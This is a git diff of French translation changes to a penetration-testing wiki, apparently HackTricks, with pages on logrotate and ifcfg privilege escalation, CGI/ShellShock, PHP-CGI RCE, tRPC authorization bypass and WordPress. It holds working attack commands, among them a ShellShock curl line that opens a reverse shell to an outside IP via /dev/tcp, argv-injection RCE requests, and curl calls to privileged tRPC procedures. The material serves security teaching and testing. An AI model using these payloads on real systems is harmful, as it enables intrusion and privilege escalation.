que **root**, peut être manipulé pour exécuter des fichiers arbitraires, notamment dans des répertoires comme _**/etc/bash_completion.d/**_. Il est important de vérifier les permissions non seulement dans _/var/log_ mais aussi dans tout répertoire où la rotation des logs est appliquée. +Une vulnérabilité dans `logrotate` permet à des utilisateurs ayant des **droits d'écriture** sur un fichier de log ou sur ses répertoires parents de potentiellement obtenir des privilèges escaladés. En effet, `logrotate`, souvent exécuté en tant que **root**, peut être manipulé pour exécuter des fichiers arbitraires, notamment dans des répertoires comme _**/etc/bash_completion.d/**_. Il est important de vérifier les permissions non seulement dans _/var/log_ mais aussi dans tout répertoire où la rotation des logs est appliquée. > [!TIP] -> Cette vulnérabilité affecte `logrotate` version `3.18.0` et antérieures +> Cette vulnérabilité affecte `logrotate` version `3.18.0` et antérieure Des informations plus détaillées sur la vulnérabilité sont disponibles sur cette page : [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Vous pouvez exploiter cette vulnérabilité avec [**logrotten**](https://github.com/whotwagner/logrotten). -Cette vulnérabilité est très similaire à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** donc chaque fois que vous constatez que vous pouvez modifier des logs, vérifiez qui gère ces logs et voyez si vous pouvez escalader les privilèges en substituant les logs par des symlinks. +Cette vulnérabilité est très similaire à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** donc chaque fois que vous constatez que vous pouvez modifier des logs, vérifiez qui gère ces logs et si vous pouvez escalader les privilèges en substituant les logs par des symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Si, pour une raison quelconque, un utilisateur est capable d'**écrire** un script `ifcf-` dans _/etc/sysconfig/network-scripts_ **ou** d'**ajuster** un script existant, alors votre **système est pwned**. +Si, pour une raison quelconque, un utilisateur est capable de **write** un script `ifcf-` dans _/etc/sysconfig/network-scripts_ **ou** peut **adjust** un script existant, alors votre **system is pwned**. -Les network scripts, _ifcg-eth0_ par exemple, sont utilisés pour les connexions réseau. Ils ressemblent exactement à des fichiers .INI. Cependant, ils sont \~sourcés\~ sur Linux par Network Manager (dispatcher.d). +Les network scripts, _ifcg-eth0_ par exemple, sont utilisés pour les connexions réseau. Ils ressemblent exactement à des fichiers .INI. Cependant, ils sont \~sourced\~ sur Linux par Network Manager (dispatcher.d). -Dans mon cas, l'attribut `NAME=` dans ces network scripts n'est pas géré correctement. Si vous avez **un espace blanc dans le nom, le système essaie d'exécuter la partie après cet espace blanc**. Cela signifie que **tout ce qui suit le premier espace est exécuté en tant que root**. +Dans mon cas, l'attribut `NAME=` dans ces scripts réseau n'est pas géré correctement. Si vous avez **un espace blanc dans le nom, le système tente d'exécuter la partie après l'espace blanc**. Cela signifie que **tout ce qui suit le premier espace est exécuté en tant que root**. -For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ +Par exemple : _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Notez l'espace entre Network et /bin/id_) +(_Remarque : l'espace blanc entre Network et /bin/id_) ### **init, init.d, systemd, et rc.d** -Le répertoire `/etc/init.d` contient des **scripts** pour System V init (SysVinit), le **système classique de gestion des services Linux**. Il inclut des scripts pour `start`, `stop`, `restart` et parfois `reload` des services. Ceux-ci peuvent être exécutés directement ou via des liens symboliques trouvés dans `/etc/rc?.d/`. Un chemin alternatif sur les systèmes Redhat est `/etc/rc.d/init.d`. +Le répertoire `/etc/init.d` contient des **scripts** pour System V init (SysVinit), le **système classique de gestion des services Linux**. Il inclut des scripts pour `start`, `stop`, `restart`, et parfois `reload` des services. Ceux-ci peuvent être exécutés directement ou via des liens symboliques situés dans `/etc/rc?.d/`. Un chemin alternatif sur les systèmes Redhat est `/etc/rc.d/init.d`. -En revanche, `/etc/init` est associé à **Upstart**, un système de **gestion des services** plus récent introduit par Ubuntu, qui utilise des fichiers de configuration pour la gestion des services. Malgré la transition vers Upstart, les scripts SysVinit sont encore utilisés en parallèle des configurations Upstart grâce à une couche de compatibilité dans Upstart. +En revanche, `/etc/init` est associé à **Upstart**, un système de **gestion des services** plus récent introduit par Ubuntu, qui utilise des fichiers de configuration pour les tâches de gestion des services. Malgré la transition vers Upstart, les scripts SysVinit sont encore utilisés aux côtés des configurations Upstart en raison d'une couche de compatibilité dans Upstart. -**systemd** apparaît comme un gestionnaire d'initialisation et de services moderne, offrant des fonctionnalités avancées telles que le démarrage à la demande des daemons, la gestion de l'automount et des snapshots d'état système. Il organise les fichiers dans `/usr/lib/systemd/` pour les paquets de distribution et `/etc/systemd/system/` pour les modifications de l'administrateur, simplifiant ainsi l'administration système. +**systemd** apparaît comme un gestionnaire d'initialisation et de services moderne, offrant des fonctionnalités avancées telles que le démarrage des daemons à la demande, la gestion des automounts et les snapshots d'état du système. Il organise les fichiers dans `/usr/lib/systemd/` pour les paquets de distribution et dans `/etc/systemd/system/` pour les modifications administrateur, simplifiant ainsi le processus d'administration système. -## Autres trucs +## Other Tricks ### NFS Privilege escalation @@ -1478,8 +1492,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Les Android rooting frameworks hookent couramment un syscall pour exposer des fonctionnalités privilégiées du kernel à un manager en userspace. Une authentification faible du manager (par ex. des vérifications de signature basées sur l'ordre des FD ou des schémas de mot de passe faibles) peut permettre à une application locale d'usurper le manager et d'escalader en root sur des appareils déjà rootés. En savoir plus et détails d'exploitation ici : - +Les frameworks de rooting Android accrochent souvent un syscall pour exposer des fonctionnalités privilégiées du kernel à un manager en userspace. Une authentification faible du manager (par exemple, des vérifications de signature basées sur l'ordre des FD ou des schémas de mot de passe faibles) peut permettre à une application locale d'usurper le manager et d'escalader vers root sur des appareils déjà-rooted. Pour en savoir plus et voir les détails d'exploitation : {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md @@ -1487,9 +1500,9 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) -La découverte de service pilotée par regex dans VMware Tools/Aria Operations peut extraire un chemin binaire depuis les lignes de commande des processus et l'exécuter avec -v dans un contexte privilégié. Des patterns permissifs (par ex. l'utilisation de \S) peuvent correspondre à des listeners déposés par un attaquant dans des emplacements modifiables (par ex. /tmp/httpd), entraînant une exécution en tant que root (CWE-426 Untrusted Search Path). +La découverte de services basée sur des regex dans VMware Tools/Aria Operations peut extraire un chemin binaire depuis les lignes de commande des processus et l'exécuter avec -v dans un contexte privilégié. Des patterns permissifs (par exemple, utilisant \S) peuvent correspondre à des listeners placés par un attaquant dans des emplacements inscriptibles (par ex. /tmp/httpd), conduisant à une exécution en tant que root (CWE-426 Untrusted Search Path). -En savoir plus et voir un pattern généralisé applicable à d'autres stacks de discovery/monitoring ici : +En savoir plus et voir un modèle généralisé applicable à d'autres stacks de découverte/monitoring ici : {{#ref}} vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md @@ -1500,7 +1513,7 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Plus d'aide +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index 7083e4b1b..a6e1b5922 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -3,18 +3,18 @@ {{#include ../../banners/hacktricks-training.md}} -## Informations +## Information -The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`), **change the extension** from **.pl** to **.cgi**, give **execute permissions** (`chmod +x`) and **access** the reverse shell **from the web browser** to execute it. -In order to test for **CGI vulns** it's recommended to use `nikto -C all` (and all the plugins) +Les **CGI scripts sont des scripts perl**, donc, si vous avez compromis un serveur capable d'exécuter des scripts _**.cgi**_ vous pouvez **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **changer l'extension** de **.pl** à **.cgi**, donner les **permissions d'exécution** \(`chmod +x`\) et **accéder** au reverse shell **depuis le navigateur** pour l'exécuter. +Pour tester les **CGI vulns** il est recommandé d'utiliser `nikto -C all` \(et tous les plugins\) ## **ShellShock** -**ShellShock** est une **vulnérabilité** qui affecte l'usage répandu du shell en ligne de commande **Bash** sur les systèmes d'exploitation Unix. Elle exploite la capacité de Bash à exécuter des commandes transmises par des applications. La vulnérabilité réside dans la manipulation des **variables d'environnement**, qui sont des valeurs nommées dynamiques influençant l'exécution des processus sur une machine. Les attaquants peuvent exploiter cela en attachant du **code malveillant** aux variables d'environnement, qui est exécuté lors de la réception de la variable. Cela permet potentiellement de compromettre le système. +**ShellShock** est une **vulnérabilité** qui affecte l'interpréteur de commandes **Bash** largement utilisé dans les systèmes d'exploitation Unix-like. Elle cible la capacité de Bash à exécuter des commandes transmises par des applications. La vulnérabilité réside dans la manipulation des **variables d'environnement**, qui sont des valeurs nommées dynamiques influençant l'exécution des processus sur un ordinateur. Les attaquants peuvent exploiter ceci en attachant du **code malveillant** aux variables d'environnement, lequel est exécuté lors de la réception de la variable. Cela permet potentiellement aux attaquants de compromettre le système. En exploitant cette vulnérabilité, la **page peut renvoyer une erreur**. -Vous pouvez **trouver** cette vulnérabilité en constatant qu'elle utilise une **ancienne version d'Apache** et **cgi_mod** (avec un dossier cgi) ou en utilisant **nikto**. +Vous pouvez **trouver** cette vulnérabilité en remarquant qu'elle utilise une **ancienne version d'Apache** et **cgi_mod** (avec dossier cgi) ou en utilisant **nikto**. ### **Test** @@ -24,7 +24,7 @@ La plupart des tests consistent à utiliser echo pour afficher quelque chose et ```bash nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi ``` -## **Curl \(reflected, blind and out-of-band\)** +## **Curl \(réfléchi, aveugle et hors-bande\)** ```bash # Reflected curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE' @@ -51,15 +51,15 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt > set rhosts 10.1.2.11 > run ``` -## Centralized CGI dispatchers (routage d'un endpoint unique via des paramètres sélecteurs) +## Dispatchers CGI centralisés (single endpoint routing via selector parameters) De nombreuses interfaces web embarquées multiplexent des dizaines d'actions privilégiées derrière un seul endpoint CGI (par exemple, `/cgi-bin/cstecgi.cgi`) et utilisent un paramètre sélecteur tel que `topicurl=` pour router la requête vers une fonction interne. -Méthodologie pour exploiter ces routeurs : +Méthodologie pour exploiter ces routers : -- Enumérer les noms de handlers : scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher. -- Tester l'accessibilité sans authentification : certains handlers oublient les auth checks et sont directement appelables. -- Se concentrer sur les handlers qui invoquent des utilitaires système ou touch files ; les validateurs faibles bloquent souvent seulement quelques caractères et peuvent manquer le tiret initial `-`. +- Énumérer les noms de handler : scraper JS/HTML, brute-force avec des wordlists, ou unpacker le firmware et grepper les handler strings utilisées par le dispatcher. +- Tester la reachabilité sans authentification : certains handlers oublient les auth checks et sont appelables directement. +- Se concentrer sur les handlers qui invoquent des system utilities ou touch files ; de faibles validators n'interdisent souvent que quelques caractères et peuvent manquer le tiret initial `-`. Formes d'exploit génériques : ```http @@ -77,30 +77,29 @@ topicurl=setWizardCfg&=/etc/init.d/S99rc ``` Détection et durcissement : -- Surveiller les requêtes non authentifiées vers des endpoints CGI centralisés avec `topicurl` défini sur des handlers sensibles. -- Marquer les paramètres qui commencent par `-` (tentatives d'injection d'options argv). -- Vendors : imposer l'authentification sur tous les handlers modifiant l'état, valider en utilisant des allowlists/types/longueurs stricts, et ne jamais passer des chaînes contrôlées par l'utilisateur comme flags en ligne de commande. +- Surveillez les requêtes non authentifiées vers les endpoints CGI centralisés avec `topicurl` pointant vers des handlers sensibles. +- Signalez les paramètres qui commencent par `-` (tentatives d'injection d'options argv). +- Fournisseurs : exiger l'authentification sur tous les handlers modifiant l'état, valider en utilisant des allowlists/types/lengths stricts, et ne jamais passer des chaînes contrôlées par l'utilisateur comme flags de la ligne de commande. -## Ancien PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) +## Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) -En gros si CGI est actif et PHP est "ancien" \(<5.3.12 / < 5.4.2\) vous pouvez exécuter du code. -Pour exploiter cette vulnérabilité, vous devez accéder à un fichier PHP du serveur web sans envoyer de paramètres \(en particulier sans envoyer le caractère "="\). -Ensuite, pour tester cette vulnérabilité, vous pouvez accéder par exemple à `/index.php?-s` \(notez le `-s`\) et **le code source de l'application apparaîtra dans la réponse**. +En pratique, si cgi est actif et php est "ancien" (<5.3.12 / < 5.4.2) vous pouvez exécuter du code. +Pour exploiter cette vulnérabilité, il faut accéder à un fichier PHP du serveur web sans envoyer de paramètres (en particulier sans envoyer le caractère "="). +Pour tester, vous pouvez accéder par exemple à `/index.php?-s` (notez le `-s`) et **le code source de l'application apparaîtra dans la réponse**. -Puis, pour obtenir **RCE** vous pouvez envoyer cette requête spéciale : `/?-d allow_url_include=1 -d auto_prepend_file=php://input` et le **code PHP** à exécuter dans le **corps de la requête**. -Exemple : +Pour obtenir ensuite une **RCE** vous pouvez envoyer cette requête spéciale : `/?-d allow_url_include=1 -d auto_prepend_file=php://input` et le **code PHP** à exécuter dans le **corps de la requête**. Exemple : ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` **Plus d'infos sur la vuln et les exploits possibles :** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** -## **Proxy \(MitM to Web server requests\)** +## **Proxy \(MitM vers les requêtes du serveur Web\)** -CGI crée une variable d'environnement pour chaque en-tête dans la requête http. Par exemple : "host:web.com" est créé comme "HTTP_HOST"="web.com" +CGI crée une variable d'environnement pour chaque en-tête dans la requête HTTP. Par exemple : "host:web.com" devient "HTTP_HOST"="web.com" -Comme la variable HTTP_PROXY pourrait être utilisée par le web server, essayez d'envoyer un **header** contenant : "**Proxy: <IP_attacker>:<PORT>**" et si le serveur effectue une requête pendant la session, vous pourrez capturer chaque requête faite par le serveur. +Comme la variable HTTP_PROXY peut être utilisée par le serveur web. Essayez d'envoyer un **en-tête** contenant : "**Proxy: <IP_attacker>:<PORT>**" et si le serveur effectue une quelconque requête pendant la session, vous pourrez capturer chaque requête effectuée par le serveur. -## **References** +## **Références** - [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md index f5e70619b..5eb450ac3 100644 --- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -1,55 +1,97 @@ -# Web API Pentesting +# Pentesting d'API Web {{#include ../../banners/hacktricks-training.md}} -## Résumé de la méthodologie de pentesting API +## Résumé de la méthodologie de Pentesting des API -Le pentesting des API implique une approche structurée pour découvrir des vulnérabilités. Ce guide encapsule une méthodologie complète, mettant l'accent sur des techniques et des outils pratiques. +Le pentesting des APIs implique une approche structurée pour découvrir des vulnérabilités. Ce guide résume une méthodologie complète, en mettant l'accent sur des techniques et outils pratiques. ### **Comprendre les types d'API** -- **SOAP/XML Web Services** : Utilisent le format WSDL pour la documentation, généralement trouvé aux chemins `?wsdl`. Des outils comme **SOAPUI** et **WSDLer** (extension Burp Suite) sont essentiels pour analyser et générer des requêtes. La documentation d'exemple est accessible sur [DNE Online](http://www.dneonline.com/calculator.asmx). -- **REST APIs (JSON)** : La documentation se présente souvent sous forme de fichiers WADL, mais des outils comme [Swagger UI](https://swagger.io/tools/swagger-ui/) offrent une interface plus conviviale pour l'interaction. **Postman** est un outil précieux pour créer et gérer des requêtes d'exemple. -- **GraphQL** : Un langage de requête pour les API offrant une description complète et compréhensible des données dans votre API. +- **SOAP/XML Web Services** : Utilisent le format WSDL pour la documentation, typiquement accessible via des chemins `?wsdl`. Des outils comme **SOAPUI** et **WSDLer** (Burp Suite Extension) sont utiles pour parser et générer des requêtes. Exemple de documentation accessible sur [DNE Online](http://www.dneonline.com/calculator.asmx). +- **REST APIs (JSON)** : La documentation peut être fournie dans des fichiers WADL, mais des outils comme [Swagger UI](https://swagger.io/tools/swagger-ui/) offrent une interface plus conviviale pour l'interaction. **Postman** est utile pour créer et gérer des requêtes d'exemple. +- **GraphQL** : Un language de requête pour les APIs offrant une description complète et compréhensible des données de votre API. -### **Laboratoires pratiques** +### **Labs de pratique** -- [**VAmPI**](https://github.com/erev0s/VAmPI) : Une API délibérément vulnérable pour une pratique concrète, couvrant les 10 principales vulnérabilités API de l'OWASP. +- [**VAmPI**](https://github.com/erev0s/VAmPI) : Une API délibérément vulnérable pour la pratique, couvrant les vulnérabilités OWASP top 10 pour les API. -### **Astuces efficaces pour le pentesting API** +### **Astuces efficaces pour le Pentesting d'API** -- **Vulnérabilités SOAP/XML** : Explorez les vulnérabilités XXE, bien que les déclarations DTD soient souvent restreintes. Les balises CDATA peuvent permettre l'insertion de charges utiles si le XML reste valide. -- **Escalade de privilèges** : Testez les points de terminaison avec différents niveaux de privilèges pour identifier les possibilités d'accès non autorisé. -- **Mauvaise configuration CORS** : Examinez les paramètres CORS pour une éventuelle exploitabilité via des attaques CSRF à partir de sessions authentifiées. -- **Découverte de points de terminaison** : Exploitez les modèles d'API pour découvrir des points de terminaison cachés. Des outils comme les fuzzers peuvent automatiser ce processus. -- **Manipulation de paramètres** : Expérimentez en ajoutant ou en remplaçant des paramètres dans les requêtes pour accéder à des données ou des fonctionnalités non autorisées. -- **Test des méthodes HTTP** : Variez les méthodes de requête (GET, POST, PUT, DELETE, PATCH) pour découvrir des comportements inattendus ou des divulgations d'informations. -- **Manipulation du type de contenu** : Alternez entre différents types de contenu (x-www-form-urlencoded, application/xml, application/json) pour tester des problèmes d'analyse ou des vulnérabilités. -- **Techniques avancées de paramètres** : Testez avec des types de données inattendus dans les charges utiles JSON ou jouez avec des données XML pour des injections XXE. Essayez également la pollution de paramètres et les caractères génériques pour des tests plus larges. -- **Test de version** : Les anciennes versions d'API peuvent être plus susceptibles aux attaques. Vérifiez toujours et testez contre plusieurs versions d'API. +- **SOAP/XML Vulnerabilities** : Cherchez des vulnérabilités XXE, bien que les déclarations DTD soient souvent restreintes. Les balises CDATA peuvent permettre l'insertion de payloads si le XML reste valide. +- **Escalade de privilèges** : Testez des endpoints avec différents niveaux de privilèges pour identifier des possibilités d'accès non autorisé. +- **Mauvaise configuration CORS** : Examinez les paramètres CORS pour une potentielle exploitabilité via des attaques CSRF depuis des sessions authentifiées. +- **Découverte d'endpoints** : Exploitez les patterns d'API pour découvrir des endpoints cachés. Des outils comme les fuzzers peuvent automatiser ce processus. +- **Manipulation de paramètres** : Expérimentez en ajoutant ou remplaçant des paramètres dans les requêtes pour accéder à des données ou fonctionnalités non autorisées. +- **Test des méthodes HTTP** : Variez les méthodes de requête (GET, POST, PUT, DELETE, PATCH) pour découvrir des comportements inattendus ou des fuites d'information. +- **Manipulation du Content-Type** : Passez d'un content type à un autre (x-www-form-urlencoded, application/xml, application/json) pour tester des problèmes de parsing ou des vulnérabilités. +- **Techniques avancées sur les paramètres** : Testez avec des types de données inattendus dans les payloads JSON ou jouez avec des données XML pour des injections XXE. Essayez aussi la pollution de paramètres et les caractères wildcard pour des tests plus larges. +- **Test de versions** : Les anciennes versions d'API peuvent être plus vulnérables. Vérifiez toujours et testez plusieurs versions d'API. -### **Outils et ressources pour le pentesting API** +### Autorisation & logique métier (AuthN != AuthZ) — pièges de tRPC/Zod protectedProcedure -- [**kiterunner**](https://github.com/assetnote/kiterunner) : Excellent pour découvrir des points de terminaison API. Utilisez-le pour scanner et forcer les chemins et les paramètres contre les API cibles. +Les stacks TypeScript modernes utilisent couramment tRPC avec Zod pour la validation d'entrée. Dans tRPC, `protectedProcedure` garantit généralement que la requête possède une session valide (authentification) mais n'implique pas que l'appelant ait le rôle/permissions appropriés (autorisation). Ce décalage mène à Broken Function Level Authorization/BOLA si des procédures sensibles ne sont protégées que par `protectedProcedure`. + +- Modèle de menace : Tout utilisateur authentifié à faible privilège peut appeler des procédures de niveau admin si les vérifications de rôle manquent (par ex. migrations en arrière-plan, feature flags, maintenance globale du tenant, contrôle de jobs). +- Signal en boîte noire : Endpoints `POST /api/trpc/.` qui réussissent pour des comptes basiques alors qu'ils devraient être réservés aux admins. Les inscriptions en self-service augmentent fortement l'exploitabilité. +- Forme typique de route tRPC (v10+) : corps JSON encapsulé sous `{"input": {...}}`. + +Exemple de modèle vulnérable (pas de contrôle de rôle/permission) : +```ts +// The endpoint for retrying a migration job +// This checks for a valid session (authentication) +retry: protectedProcedure +// but not for an admin role (authorization). +.input(z.object({ name: z.string() })) +.mutation(async ({ input, ctx }) => { +// Logic to restart a sensitive migration +}), +``` +Exploitation pratique (black-box) + +1) Créer un compte normal et obtenir une session authentifiée (cookies/headers). +2) Énumérer les background jobs ou d'autres ressources sensibles via les procédures “list”/“all”/“status”. +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.all' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{}}' +``` +3) Invoquer des actions privilégiées telles que redémarrer un job : +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.retry' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{"name":""}}' +``` +Impact à évaluer + +- Corruption de données via des redémarrages non-idempotents : Forcer l'exécution concurrente de migrations/workers peut créer des conditions de course et des états partiels incohérents (perte silencieuse de données, analytics cassés). +- DoS via worker/DB starvation : En déclenchant de manière répétée des jobs lourds, on peut épuiser les pools de workers et les connexions à la base de données, provoquant des pannes affectant tout le tenant. + +### **Outils et ressources pour l'API Pentesting** + +- [**kiterunner**](https://github.com/assetnote/kiterunner): Excellent pour découvrir des endpoints d'API. Use it to scan and brute force paths and parameters against target APIs. ```bash kr scan https://domain.com/api/ -w routes-large.kite -x 20 kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20 kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0 kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 ``` -- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj) : sj est un outil en ligne de commande conçu pour aider à l'audit des **fichiers de définition Swagger/OpenAPI exposés** en vérifiant les points de terminaison API associés pour une authentification faible. Il fournit également des modèles de commandes pour les tests de vulnérabilité manuels. -- Des outils supplémentaires comme **automatic-api-attack-tool**, **Astra** et **restler-fuzzer** offrent des fonctionnalités adaptées pour les tests de sécurité API, allant de la simulation d'attaque au fuzzing et à l'analyse de vulnérabilités. -- [**Cherrybomb**](https://github.com/blst-security/cherrybomb) : C'est un outil de sécurité API qui audite votre API basé sur un fichier OAS (l'outil est écrit en rust). +- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj est un outil en ligne de commande conçu pour aider à l'audit des **fichiers de définition Swagger/OpenAPI exposés** en vérifiant les endpoints API associés pour une authentification faible. Il fournit également des modèles de commandes pour des tests de vulnérabilité manuels. +- Des outils supplémentaires comme **automatic-api-attack-tool**, **Astra**, et **restler-fuzzer** offrent des fonctionnalités adaptées pour les tests de sécurité API, allant de la simulation d'attaques au fuzzing et à l'analyse de vulnérabilités. +- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): C'est un outil de sécurité API qui audite votre API à partir d'un fichier OAS (l'outil est écrit en Rust). ### **Ressources d'apprentissage et de pratique** -- **OWASP API Security Top 10** : Lecture essentielle pour comprendre les vulnérabilités API courantes ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). -- **API Security Checklist** : Une liste de contrôle complète pour sécuriser les API ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). -- **Logger++ Filters** : Pour chasser les vulnérabilités API, Logger++ offre des filtres utiles ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). -- **API Endpoints List** : Une liste soigneusement sélectionnée de points de terminaison API potentiels à des fins de test ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). +- **OWASP API Security Top 10**: Lecture essentielle pour comprendre les vulnérabilités API courantes ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). +- **API Security Checklist**: Une checklist complète pour sécuriser les API ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). +- **Logger++ Filters**: Pour chasser les vulnérabilités API, Logger++ propose des filtres utiles ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). +- **API Endpoints List**: Une liste organisée de endpoints API potentiels pour les tests ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). ## Références - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) +- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 127832464..7473be525 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -4,49 +4,49 @@ ## Informations de base -- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- Les fichiers **Uploaded** vont dans : `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` +- **Les fichiers de thèmes se trouvent dans /wp-content/themes/,** donc si vous modifiez du php du thème pour obtenir une RCE vous utiliserez probablement ce chemin. Par exemple : En utilisant **theme twentytwelve** vous pouvez **accéder** au fichier **404.php** dans : [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Une autre URL utile pourrait être :** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- In **wp-config.php** you can find the root password of the database. -- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +- Dans **wp-config.php** vous pouvez trouver le mot de passe root de la base de données. +- Chemins de login par défaut à vérifier : _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ ### **Principaux fichiers WordPress** - `index.php` -- `license.txt` contient des informations utiles telles que la version de WordPress installée. +- `license.txt` contient des informations utiles comme la version de WordPress installée. - `wp-activate.php` est utilisé pour le processus d'activation par email lors de la création d'un nouveau site WordPress. -- Login folders (may be renamed to hide it): +- Dossiers de login (peuvent être renommés pour les cacher) : - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` est un fichier représentant une fonctionnalité de WordPress qui permet la transmission de données en utilisant HTTP comme mécanisme de transport et XML comme mécanisme d'encodage. Ce type de communication a été remplacé par le WordPress [REST API](https://developer.wordpress.org/rest-api/reference). -- Le dossier `wp-content` est le répertoire principal où les plugins et thèmes sont stockés. +- `xmlrpc.php` est un fichier représentant une fonctionnalité de WordPress qui permet la transmission de données via HTTP en tant que mécanisme de transport et XML comme mécanisme d'encodage. Ce type de communication a été remplacé par le WordPress [REST API](https://developer.wordpress.org/rest-api/reference). +- Le dossier `wp-content` est le répertoire principal où sont stockés les plugins et les thèmes. - `wp-content/uploads/` est le répertoire où sont stockés tous les fichiers uploadés sur la plateforme. -- `wp-includes/` est le répertoire où les fichiers core sont stockés, tels que certificats, polices, fichiers JavaScript et widgets. -- `wp-sitemap.xml` Dans les versions de WordPress 5.5 et supérieures, WordPress génère un fichier sitemap XML contenant tous les posts publics et les types de posts et taxonomies publiquement interrogeables. +- `wp-includes/` est le répertoire où sont stockés les fichiers core, tels que certificats, polices, fichiers JavaScript, et widgets. +- `wp-sitemap.xml` Dans les versions de WordPress 5.5 et supérieures, WordPress génère un fichier sitemap XML avec tous les posts publics et les types de posts et taxonomies publiquement interrogeables. -**Post exploitation** 